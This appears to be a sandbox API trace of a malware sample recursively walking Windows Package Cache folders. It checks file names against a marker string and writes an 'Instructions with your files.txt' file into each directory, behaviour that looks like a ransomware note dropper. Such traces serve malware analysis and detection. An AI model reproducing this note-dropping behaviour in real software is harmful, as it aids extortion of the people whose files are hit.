[0132.027] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb17b200, ftCreationTime.dwHighDateTime=0x1d28824, ftLastAccessTime.dwLowDateTime=0xfb17b200, ftLastAccessTime.dwHighDateTime=0x1d28824, ftLastWriteTime.dwLowDateTime=0xfb17b200, ftLastWriteTime.dwHighDateTime=0x1d28824, nFileSizeHigh=0x0, nFileSizeLow=0x24000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x86.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 0
[0132.027] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\Instructions with your files.txt") returned 150
[0132.027] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\Instructions with your files.txt" (normalized: "c:\\users\\all users\\package cache\\{582ea838-9199-3518-a05c-db09462f68ec}v14.10.25017\\packages\\vcruntimeminimum_x86\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
[0132.028] WriteFile (in: hFile=0x118, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce974*=0x54, lpOverlapped=0x0) returned 1
[0132.028] WriteFile (in: hFile=0x118, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce974*=0x18, lpOverlapped=0x0) returned 1
[0132.028] WriteFile (in: hFile=0x118, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce974*=0xc, lpOverlapped=0x0) returned 1
[0132.029] WriteFile (in: hFile=0x118, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce974*=0x16, lpOverlapped=0x0) returned 1
[0132.029] WriteFile (in: hFile=0x118, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce974*=0x23, lpOverlapped=0x0) returned 1
[0132.029] CloseHandle (hObject=0x118) returned 1
[0132.029] FindClose (in: hFindFile=0x876d38 | out: hFindFile=0x876d38) returned 1
[0132.029] GetProcessHeap () returned 0x810000
[0132.029] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22e0050 | out: hHeap=0x810000) returned 1
[0132.029] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xb45d8c60, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb45d8c60, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_x86", cAlternateFileName="VCRUNT~1")) returned 0
[0132.029] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\Instructions with your files.txt") returned 129
[0132.029] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\Instructions with your files.txt" (normalized: "c:\\users\\all users\\package cache\\{582ea838-9199-3518-a05c-db09462f68ec}v14.10.25017\\packages\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
[0132.029] WriteFile (in: hFile=0x114, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cec04*=0x54, lpOverlapped=0x0) returned 1
[0132.030] WriteFile (in: hFile=0x114, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cec04*=0x18, lpOverlapped=0x0) returned 1
[0132.030] WriteFile (in: hFile=0x114, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cec04*=0xc, lpOverlapped=0x0) returned 1
[0132.030] WriteFile (in: hFile=0x114, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cec04*=0x16, lpOverlapped=0x0) returned 1
[0132.030] WriteFile (in: hFile=0x114, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cec04*=0x23, lpOverlapped=0x0) returned 1
[0132.030] CloseHandle (hObject=0x114) returned 1
[0132.030] FindClose (in: hFindFile=0x876cf8 | out: hFindFile=0x876cf8) returned 1
[0132.031] GetProcessHeap () returned 0x810000
[0132.031] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22d0048 | out: hHeap=0x810000) returned 1
[0132.031] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xb45d8c60, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb45d8c60, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0
[0132.031] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\Instructions with your files.txt") returned 120
[0132.031] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\Instructions with your files.txt" (normalized: "c:\\users\\all users\\package cache\\{582ea838-9199-3518-a05c-db09462f68ec}v14.10.25017\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110
[0132.031] WriteFile (in: hFile=0x110, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cee94*=0x54, lpOverlapped=0x0) returned 1
[0132.032] WriteFile (in: hFile=0x110, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cee94*=0x18, lpOverlapped=0x0) returned 1
[0132.032] WriteFile (in: hFile=0x110, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cee94*=0xc, lpOverlapped=0x0) returned 1
[0132.032] WriteFile (in: hFile=0x110, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cee94*=0x16, lpOverlapped=0x0) returned 1
[0132.032] WriteFile (in: hFile=0x110, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cee94*=0x23, lpOverlapped=0x0) returned 1
[0132.032] CloseHandle (hObject=0x110) returned 1
[0132.032] FindClose (in: hFindFile=0x876cb8 | out: hFindFile=0x876cb8) returned 1
[0132.032] GetProcessHeap () returned 0x810000
[0132.032] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x864bc8 | out: hHeap=0x810000) returned 1
[0132.032] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xb45fedc0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb45fedc0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017", cAlternateFileName="{68306~1.250")) returned 1
[0132.032] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017") returned 87
[0132.032] GetProcessHeap () returned 0x810000
[0132.033] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x864bc8
[0132.033] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\*") returned 89
[0132.033] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\*", lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xb45fedc0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb45fedc0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cb8
[0132.033] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\.") returned 89
[0132.033] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xb45fedc0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb45fedc0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0132.033] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\..") returned 90
[0132.033] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb45fedc0, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xb45fedc0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb45fedc0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0132.033] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\Instructions with your files.txt") returned 120
[0132.033] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0132.033] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xb45fedc0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb45fedc0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1
[0132.033] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages") returned 96
[0132.033] GetProcessHeap () returned 0x810000
[0132.033] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22d0048
[0132.033] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\*") returned 98
[0132.033] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\*", lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xb45fedc0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb45fedc0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cf8
[0132.033] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\.") returned 98
[0132.033] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xb45fedc0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb45fedc0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0132.033] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\..") returned 99
[0132.033] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb45fedc0, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xb45fedc0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb45fedc0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0132.033] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\Instructions with your files.txt") returned 129
[0132.033] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0132.033] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xb45fedc0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb45fedc0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_x86", cAlternateFileName="VCRUNT~1")) returned 1
[0132.033] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86") returned 120
[0132.033] GetProcessHeap () returned 0x810000
[0132.034] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22e0050
[0132.034] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\*") returned 122
[0132.034] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\*", lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xb45fedc0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb45fedc0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d38
[0132.034] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\.") returned 122
[0132.034] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xb45fedc0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb45fedc0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0132.034] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\..") returned 123
[0132.034] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3c0e500, ftCreationTime.dwHighDateTime=0x1d28824, ftLastAccessTime.dwLowDateTime=0xd3c0e500, ftLastAccessTime.dwHighDateTime=0x1d28824, ftLastWriteTime.dwLowDateTime=0xd3c0e500, ftLastWriteTime.dwHighDateTime=0x1d28824, nFileSizeHigh=0x0, nFileSizeLow=0x4f699e, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab", cAlternateFileName="")) returned 1
[0132.034] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\cab1.cab") returned 129
[0132.034] StrStrIW (lpFirst="cab1.cab", lpSrch="SDfghjkl") returned 0x0
[0132.034] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb45fedc0, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xb45fedc0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb45fedc0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0132.034] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\Instructions with your files.txt") returned 153
[0132.034] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0132.034] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfeab3900, ftCreationTime.dwHighDateTime=0x1d28824, ftLastAccessTime.dwLowDateTime=0xfeab3900, ftLastAccessTime.dwHighDateTime=0x1d28824, ftLastWriteTime.dwLowDateTime=0xfeab3900, ftLastWriteTime.dwHighDateTime=0x1d28824, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeAdditional_x86.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 1
[0132.034] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi") returned 149
[0132.034] StrStrIW (lpFirst="vc_runtimeAdditional_x86.msi", lpSrch="SDfghjkl") returned 0x0
[0132.034] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfeab3900, ftCreationTime.dwHighDateTime=0x1d28824, ftLastAccessTime.dwLowDateTime=0xfeab3900, ftLastAccessTime.dwHighDateTime=0x1d28824, ftLastWriteTime.dwLowDateTime=0xfeab3900, ftLastWriteTime.dwHighDateTime=0x1d28824, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeAdditional_x86.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 0
[0132.034] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\Instructions with your files.txt") returned 153
[0132.034] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\Instructions with your files.txt" (normalized: "c:\\users\\all users\\package cache\\{68306422-7c57-373f-8860-d26ce4ba2a15}v14.10.25017\\packages\\vcruntimeadditional_x86\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
[0132.034] WriteFile (in: hFile=0x118, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce974*=0x54, lpOverlapped=0x0) returned 1
[0132.035] WriteFile (in: hFile=0x118, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce974*=0x18, lpOverlapped=0x0) returned 1
[0132.035] WriteFile (in: hFile=0x118, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce974*=0xc, lpOverlapped=0x0) returned 1
[0132.035] WriteFile (in: hFile=0x118, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce974*=0x16, lpOverlapped=0x0) returned 1
[0132.036] WriteFile (in: hFile=0x118, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce974*=0x23, lpOverlapped=0x0) returned 1
[0132.036] CloseHandle (hObject=0x118) returned 1
[0132.036] FindClose (in: hFindFile=0x876d38 | out: hFindFile=0x876d38) returned 1
[0132.036] GetProcessHeap () returned 0x810000
[0132.036] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22e0050 | out: hHeap=0x810000) returned 1
[0132.036] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xb45fedc0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb45fedc0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_x86", cAlternateFileName="VCRUNT~1")) returned 0
[0132.036] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\Instructions with your files.txt") returned 129
[0132.036] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\Instructions with your files.txt" (normalized: "c:\\users\\all users\\package cache\\{68306422-7c57-373f-8860-d26ce4ba2a15}v14.10.25017\\packages\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
[0132.036] WriteFile (in: hFile=0x114, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cec04*=0x54, lpOverlapped=0x0) returned 1
